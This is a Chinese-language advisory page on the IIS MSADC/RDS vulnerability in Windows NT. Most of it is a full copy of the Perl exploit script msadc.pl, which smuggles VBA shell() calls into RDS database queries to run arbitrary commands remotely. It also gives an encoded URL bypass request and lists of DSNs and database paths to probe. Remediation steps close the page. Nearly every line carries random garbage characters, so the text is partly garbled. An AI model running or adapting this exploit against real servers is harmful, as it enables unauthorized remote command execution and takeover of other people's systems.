IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
lT 8#bA Ve{n<{P 涉及程序：
hd+]Ok7" Microsoft NT server
NJtQx2Sd'H .%=V">R 描述：
f-;$0mTQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
N0i!l|G6 1y
J5l,q 详细：
UuU/c-. 如果你没有时间读详细内容的话，就删除:
-LtK8 wl^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
y$X(S\W 有关的安全问题就没有了。
:0$a.8Y\++ oM!xz1kVL 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
f-Jbs`(+ YE v%C| l 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
_AFQ >j 关于利用ODBC远程漏洞的描述，请参看:
7BR8/4gcPu 8WL8 / http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6i .gyD k.<3HU 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
.N,&Uv- http://www.microsoft.com/security/bulletins/MS99-025faq.asp !Uh2}ic J'b<z.OW 这里不再论述。
xl(@C*.sC1 /kgeV4]zR 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
7tNc=,x} ?+ ~cA^-3T /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
)"Q*G/+2Ie 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
fmfTSN(Q~` -'`TL $ TX }T|ri #将下面这段保存为txt文件，然后: "perl -x 文件名"
& $'z OoBCY-gj* #!perl
7ER|' j #
D f4+^B,1 # MSADC/RDS 'usage' (aka exploit) script
eujK4s #
DZ$`
4;C[ # by rain.forest.puppy
Ml?~
|_ #
F(5hmr # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.B72C[' c # beta test and find errors!
?m7:if+ y =-K Mb`xT use Socket; use Getopt::Std;
U!(@q!>G getopts("e:vd:h:XR", \%args);
)@gZ; `n cc}Key@D print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
t2 3'x0 l GOT1@.Y if (!defined $args{h} && !defined $args{R}) {
H OoPrB m print qq~
aAE>)#f( Usage: msadc.pl -h <host> { -d <delay> -X -v }
'sh~,+g -h <host> = host you want to scan (ip or domain)
dY7'OAUyVl -d <seconds> = delay between calls, default 1 second
5|QzU|gPn -X = dump Index Server path table, if available
Ea6
&~" -v = verbose
6e,xDr -e = external dictionary file for step 5
%" D%: l<g5yYyf Or a -R will resume a command session
|re}6#TgcT j;b42G~p ~; exit;}
d}'U?6 ob QaIjLc~W $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
m: n` g1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
)s_n if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
rxn Frx if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
a"N4~?US $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!RB) _7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p M;vH]| 7?j;7.i
s( if (!defined $args{R}){ $ret = &has_msadc;
-l~Z0 U>^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
o?L 'Pg fmqb` % print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^ G&3sF} . "cmd /c ";
N6K* d` o $in=<STDIN>; chomp $in;
PZxAH9 S? $command="cmd /c " . $in ;
z>sbr<doa \B F*m"lz if (defined $args{R}) {&load; exit;}
o#) {1<0vg &Z(K6U#. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=4V&*go*\ &try_btcustmr;
=_$Q tq+h ,.eWQK~ print "\nStep 2: Trying to make our own DSN...";
Jk@]tA woM &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^b: ( jI*l `&\Q +W print "\nStep 3: Trying known DSNs...";
\ (226^|j &known_dsn;
Xq'cA9v=$J |*Z$E$k: print "\nStep 4: Trying known .mdbs...";
rpeJkG@+ &known_mdb;
S$ KFf=0 4XVCHs( if (defined $args{e}){
EY*(Bw print "\nStep 5: Trying dictionary of DSN names...";
DZzN>9<)^ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m/#a0~dB 4iSa7YqhBT print "Sorry Charley...maybe next time?\n";
; ^t{Il'j exit;
pv| Pm \RNg|G ##############################################################################
*JggU hW{j\@R sub sendraw { # ripped and modded from whisker
zD?oXs sleep($delay); # it's a DoS on the server! At least on mine...
Kw#so; e my ($pstr)=@_;
9x,RvWTb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
*~w[eH!! die("Socket problems\n");
KWLbD# if(connect(S,pack "SnA4x8",2,80,$target)){
/}-CvSR select(S); $|=1;
ySI~{YVM print $pstr; my @in=<S>;
J2uZm Et select(STDOUT); close(S);
1lv2@QH9 return @in;
k,euhA/& } else { die("Can't connect...\n"); }}
>X*Mio8P# C6rg<tCH ##############################################################################
2<M= L1\ <&)v~-&O
sub make_header { # make the HTTP request
K~ ;4 5Z2 my $msadc=<<EOT
Tw + POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)BRK ZQN User-Agent: ACTIVEDATA
r|,i'T Host: $ip
42]pYm(jk3 Content-Length: $clen
S_~z-`;h! Connection: Keep-Alive
~|<m,)! sX Nb }gJ ADCClientVersion:01.06
{rcnM7 S1L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b(9FZ]7S !UFfsNiXZ --!ADM!ROX!YOUR!WORLD!
mFHH515 Content-Type: application/x-varg
52o x`t | Content-Length: $reqlen
N/GQt\tV< Y#g4$"G9 EOT
p ;|jI1 ; $msadc=~s/\n/\r\n/g;
2B,] -Mu) return $msadc;}
6m6zA/ ne^imht ##############################################################################
dg^L= `U2DkY&n sub make_req { # make the RDS request
8uA,iYD
my ($switch, $p1, $p2)=@_;
Xt#1Qs my $req=""; my $t1, $t2, $query, $dsn;
29reG,> c s fgJ^ n if ($switch==1){ # this is the btcustmr.mdb query
&d'Awvy 0 $query="Select * from Customers where City=" . make_shell();
$ Y 7c $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
&.Z b,r$Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
J!DF^fLe R6=$u{D elsif ($switch==2){ # this is general make table query
;U_QvN| $query="create table AZZ (B int, C varchar(10))";
T 6~_Q}6 $dsn="$p1";}
+}-@@, u a\,-> elsif ($switch==3){ # this is general exploit table query
8iekEG$H $query="select * from AZZ where C=" . make_shell();
H)(:8~c,p $dsn="$p1";}
\cCV6A[ n#=o?!_4 elsif ($switch==4){ # attempt to hork file info from index server
Bph of0{<} $query="select path from scope()";
5y?-fT]X $dsn="Provider=MSIDXS;";}
Y F*OU"2U 'FYJMIs elsif ($switch==5){ # bad query
|`jjHuQ; $query="select";
pT$f8xJ $dsn="$p1";}
( #; `"Yu Y Tw#J OO $t1= make_unicode($query);
bb
d. $t2= make_unicode($dsn);
1LJUr"6] $req = "\x02\x00\x03\x00";
> ,DbNmi $req.= "\x08\x00" . pack ("S1", length($t1));
@'=Uq $req.= "\x00\x00" . $t1 ;
V= 1Bo ~ $req.= "\x08\x00" . pack ("S1", length($t2));
#:d
=)Qj0 $req.= "\x00\x00" . $t2 ;
)>c>oMgl $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S ua[O$ return $req;}
_FwK-?4E- $t/x;< .H ##############################################################################
\8uIER5) <`0h|m'U sub make_shell { # this makes the shell() statement
l
(3bW1{n return "'|shell(\"$command\")|'";}
q=lAb\i CX m+)a-L ##############################################################################
tbO
H#| F H1Z 2 sub make_unicode { # quick little function to convert to unicode
O3CFme my ($in)=@_; my $out;
{%#)5l) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
R N QK return $out;}
;Q+xK h% 0dh=fcb ##############################################################################
ZR\VCVH\^ oc^Br~ Th sub rdo_success { # checks for RDO return success (this is kludge)
0D8K=h&e my (@in) = @_; my $base=content_start(@in);
b ]a@ if($in[$base]=~/multipart\/mixed/){
t&9A
]<n%, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
A 8 vbQ return 0;}
;us%/kOR Nl' )l" ##############################################################################
xTGxvGv8 2On_'^O sub make_dsn { # this makes a DSN for us
yAN=2fZm my @drives=("c","d","e","f");
C. kxQ< print "\nMaking DSN: ";
s{w[b\rA foreach $drive (@drives) {
ai*f
F print "$drive: ";
Tz9`uW~Mf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
4tx|=;@0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
HV/c c" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<40rYr$/J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lHZU iB return 0 if $2 eq "404"; # not found/doesn't exist
fo4.JyBk if($2 eq "200") {
1jX3ey~ foreach $line (@results) {
;=? ~
-_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
]x&u`$F } return 0;}
;sch>2&ZWU 3 v")J*t ##############################################################################
$x6$* K(F F:#J:x' sub verify_exists {
=YG _z^' my ($page)=@_;
`HuCT6 O my @results=sendraw("GET $page HTTP/1.0\n\n");
+
S4f GT return $results[0];}
+I>p !v % Qm k2 ##############################################################################
dCu'>G\bP fw; rbP! sub try_btcustmr {
[&*6_q"V my @drives=("c","d","e","f");
?6!]Nl1gr my @dirs=("winnt","winnt35","winnt351","win","windows");
AfC>Q!-w VB<Jf'NU foreach $dir (@dirs) {
*z'yk* print "$dir -> "; # fun status so you can see progress
d^(1TNS foreach $drive (@drives) {
`m.eM print "$drive: "; # ditto
8_K6 0eXz $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}qjCTEs} $reqlenlen=length( "$reqlen" );
*6BThvg|&X $clen= 206 + $reqlenlen + $reqlen;
VG qa)ri" "g+z !4b# my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8 ^B; 1`# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
1 qi@uYDug else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)~jqW=d
2 S- #q~X!yJ ##############################################################################
Z X~
_g@
LEE C W_: sub odbc_error {
Iak0 [6Ey my (@in)=@_; my $base;
}`yiT< z my $base = content_start(@in);
$<p8TtI=YQ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k
n8N,,+
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UofTll) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
F>gmj'-^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{0!#>["< return $in[$base+4].$in[$base+5].$in[$base+6];}
2AVc?
9@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
/(t sb print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
#=}$OFg $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
UK*qKj. ) Tp<k<uKD ##############################################################################
%f 8Qa"j B pLEPuu30 sub verbose {
V,%L ~ dI my ($in)=@_;
~YCuO0t return if !$verbose;
,)~E>[=+ print STDOUT "\n$in\n";}
^%y `u1ab y33~HsOJ ##############################################################################
rs a&Oo
D> A\te*G0:S sub save {
zGc(Ef5`M6 my ($p1, $p2, $p3, $p4)=@_;
ep(g`e open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w?csV8ot print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
NBl
__q close OUT;}
`#IcxweA `Iy4=nVb ##############################################################################
UBO^EVJ }1+%_|Y-E sub load {
5nC u~<uJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
> Cg O<\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Ua *&_~7kJ @p=<IN>; close(IN);
?)3jqQ. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
EEf ]u7 $target= inet_aton($ip) || die("inet_aton problems");
hv)7H)|l~] print "Resuming to $ip ...";
kReG: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k4KHS< n0 if($p[1]==1) {
Zzd/K^gg $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
ecH/Wz1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
p* ;Qz my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
dGgP_ S if (rdo_success(@results)){print "Success!\n";}
1(`M~vFDK else { print "failed\n"; verbose(odbc_error(@results));}}
a}.Y!O& elsif ($p[1]==3){
YT2'!R
1 if(run_query("$p[3]")){
6*1$8G`$8, print "Success!\n";} else { print "failed\n"; }}
#GqTqHNE< elsif ($p[1]==4){
|LYKc.xo if(run_query($drvst . "$p[3]")){
dU;upS_- print "Success!\n"; } else { print "failed\n"; }}
r25Z`X Z exit;}
, &' Y &^ I+s^\= ##############################################################################
?=|kC*$/G uzorLeu sub create_table {
kC^.4n
om my ($in)=@_;
O<,r>b, $reqlen=length( make_req(2,$in,"") ) - 28;
q=Xg*PM, $reqlenlen=length( "$reqlen" );
8l xY]UT $clen= 206 + $reqlenlen + $reqlen;
EZ% .M*? my @results=sendraw(make_header() . make_req(2,$in,""));
0P 5BArJ? return 1 if rdo_success(@results);
\K`jCsT my $temp= odbc_error(@results); verbose($temp);
B3 L4F" return 1 if $temp=~/Table 'AZZ' already exists/;
P%GkcV return 0;}
=l|>.\- y1(P<7:t? ##############################################################################
E#h~V5Tf QN 0r E @a sub known_dsn {
?6:cNdN # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
29O ]S8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
z Hx mA "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
^HFo3V
}h "banner", "banners", "ads", "ADCDemo", "ADCTest");
Kx] > fHK @6%gIsj<H foreach $dSn (@dsns) {
_bQL[ eXd print ".";
Iu6W=A next if (!is_access("DSN=$dSn"));
'?}R4w|) if(create_table("DSN=$dSn")){
)q(:eoLDm print "$dSn successful\n";
LkaG[^tfN if(run_query("DSN=$dSn")){
b{HhS6<K? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
+v1 -. z print "Something's borked. Use verbose next time\n";}}} print "\n";}
9 }n,@@ aiR5/
ZD ##############################################################################
$e CGez<E l4 `^! sub is_access {
Hd*Fc=>"Y my ($in)=@_;
#O6
EP#B $reqlen=length( make_req(5,$in,"") ) - 28;
y$h"ty{g $reqlenlen=length( "$reqlen" );
|J ?:91
$clen= 206 + $reqlenlen + $reqlen;
3jg'1^c my @results=sendraw(make_header() . make_req(5,$in,""));
U 1F-~ {r my $temp= odbc_error(@results);
5\?3$<1 I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:tlE`BIp return 0;}
w7ZG oh( x,-S1[#X; ##############################################################################
^cb)f_90 4[_L=zD sub run_query {
/. 2u.G my ($in)=@_;
YME[%c2x $reqlen=length( make_req(3,$in,"") ) - 28;
~%KM3Vap $reqlenlen=length( "$reqlen" );
B{=00 9. $clen= 206 + $reqlenlen + $reqlen;
n`QO(pZ6+ my @results=sendraw(make_header() . make_req(3,$in,""));
rkq)&l=ny return 1 if rdo_success(@results);
@4&,
#xo my $temp= odbc_error(@results); verbose($temp);
* k!(ti [ return 0;}
p }f -c $ {@q?iol ##############################################################################
b m^X!i5 C ;%Y\S sub known_mdb {
/+N| X my @drives=("c","d","e","f","g");
(`F|nG=X my @dirs=("winnt","winnt35","winnt351","win","windows");
\P5>{ 2i my $dir, $drive, $mdb;
>KKeV(Ur my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y.(v{l Wge ho # this is sparse, because I don't know of many
;raz6DRO my @sysmdbs=( "\\catroot\\icatalog.mdb",
CQ$::; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
PE|Pw qX "\\system32\\certmdb.mdb",
UDVf@[[hN "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
:b <KX%g / =-6:L my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ia_Z\q "\\cfusion\\cfapps\\forums\\forums_.mdb",
k)|'JD m "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Rnz qw,q "\\cfusion\\cfapps\\security\\realm_.mdb",
UKOFT6| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5St`@ "\\cfusion\\database\\cfexamples.mdb",
](_{,P "\\cfusion\\database\\cfsnippets.mdb",
Oy:QkV9 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|.Em_*VG "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
%v_IX2' "\\cfusion\\brighttiger\\database\\cleam.mdb",
'YBi5_ "\\cfusion\\database\\smpolicy.mdb",
Xthtw * "\\cfusion\\database\cypress.mdb",
Zd8drT'@# "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]G Qv4 -y "\\website\\cgi-win\\dbsample.mdb",
phr2X*Z/)Y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qQL.c+%L "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
El'yiJ ); #these are just
*}>Bkq9h foreach $drive (@drives) {
sZ]'DH&_( foreach $dir (@dirs){
/8=:qIJYA foreach $mdb (@sysmdbs) {
u1tq2"D8 print ".";
Ir!2^:]! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
,GP!fsK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
I ca3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sS-W ~u|C print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
dhZ Z b } else { print "Something's borked. Use verbose next time\n"; }}}}}
GhtbQM1[H yQ8M >H#J foreach $drive (@drives) {
"|F. 'qZrm foreach $mdb (@mdbs) {
{cmo^~[L$ print ".";
`E{; 85bDH if(create_table($drv . $drive . $dir . $mdb)){
SrdE>fNbs print "\n" . $drive . $dir . $mdb . " successful\n";
*C5:#A0 if(run_query($drv . $drive . $dir . $mdb)){
v>rqOI print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M`)s>jp@w } else { print "Something's borked. Use verbose next time\n"; }}}}
`@4 2jG}* }
? F)_T tDEXm^B2Sv ##############################################################################
yEE|e&#> {'h)
sub hork_idx {
]&&I |K_ print "\nAttempting to dump Index Server tables...\n";
^:qpa 5^" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_u#/u2< $reqlen=length( make_req(4,"","") ) - 28;
| \Ab L!u $reqlenlen=length( "$reqlen" );
$/4Wod*l $clen= 206 + $reqlenlen + $reqlen;
+A'}PXm*tu my @results=sendraw2(make_header() . make_req(4,"",""));
X=fPGyhZ if (rdo_success(@results)){
%T3j8fC{s my $max=@results; my $c; my %d;
HT{F$27 W for($c=19; $c<$max; $c++){
TvQWdX= $results[$c]=~s/\x00//g;
|hu"5* $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
w~bG<kxP $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
O4 lxeiRgC $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
R g%R/p)C $d{"$1$2"}="";}
$
1ak I foreach $c (keys %d){ print "$c\n"; }
wlm3~B\64 } else {print "Index server doesn't seem to be installed.\n"; }}
O{;M6U8C\ DH}s1mNMP ##############################################################################
w k-Mu\ X ulh.: N} sub dsn_dict {
o%k SR ]V| open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0-8ELX[# while(<IN>){
bl(BA}< $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
hXV4$Dai next if (!is_access("DSN=$dSn"));
pKO T Qf if(create_table("DSN=$dSn")){
y} (_SU print "$dSn successful\n";
6LSPPMM if(run_query("DSN=$dSn")){
uf{Sx Ea print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jK ? print "Something's borked. Use verbose next time\n";}}}
G:E+s(x print "\n"; close(IN);}
= 2ATqb"$w }M"-5K} ##############################################################################
w\0Oz?N #Z2>TN sub sendraw2 { # ripped and modded from whisker
o=a:L^n t, sleep($delay); # it's a DoS on the server! At least on mine...
`^s]? my ($pstr)=@_;
sqq/b9 uL/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/ieu) m :2 die("Socket problems\n");
~Mg8C9B?%3 if(connect(S,pack "SnA4x8",2,80,$target)){
e3HF"v]2! print "Connected. Getting data";
A-AN6. open(OUT,">raw.out"); my @in;
a=}">=]7 select(S); $|=1; print $pstr;
PuUon6bZ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-r 6(=A close(OUT); select(STDOUT); close(S); return @in;
.@x"JI> ; } else { die("Can't connect...\n"); }}
'|dKg"Yl (rY1O:*S ##############################################################################
he#Tr'j 1*x5/b sub content_start { # this will take in the server headers
E| 8s2t my (@in)=@_; my $c;
5sf fDEU]A for ($c=1;$c<500;$c++) {
6):sO/es if($in[$c] =~/^\x0d\x0a/){
%r}KvJgd if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<O`q3u'l else { return $c+1; }}}
eog,EP"a8Y return -1;} # it should never get here actually
}E)8soQR J&]
XLr.j ##############################################################################
Z "+rg9/p LcQ\?]w`] sub funky {
j:vD9sdQ my (@in)=@_; my $error=odbc_error(@in);
@Tj
6!v if($error=~/ADO could not find the specified provider/){
EC\rh](d
1 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
RIVN>G[;L exit;}
{F{[! . if($error=~/A Handler is required/){
,2:L{8_L print "\nServer has custom handler filters (they most likely are patched)\n";
TTw~.x, exit;}
]cO$ E=W if($error=~/specified Handler has denied Access/){
fxf
GJNR print "\nServer has custom handler filters (they most likely are patched)\n";
y&O_Jyg < exit;}}
enfu%"(K) -%QEzu& ##############################################################################
qz_TcU' rj`. hXO sub has_msadc {
HN&vk/[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4VL!U?dk my $base=content_start(@results);
f"}14V return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
neMe<jr return 0;}
e715)_HD W} +6L| ########################
:-jP 8X Y&!McM!Jw ~'YSVx& ) 解决方案：
#| e5 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
qi5>GX^t]b 2、移除web 目录: /msadc
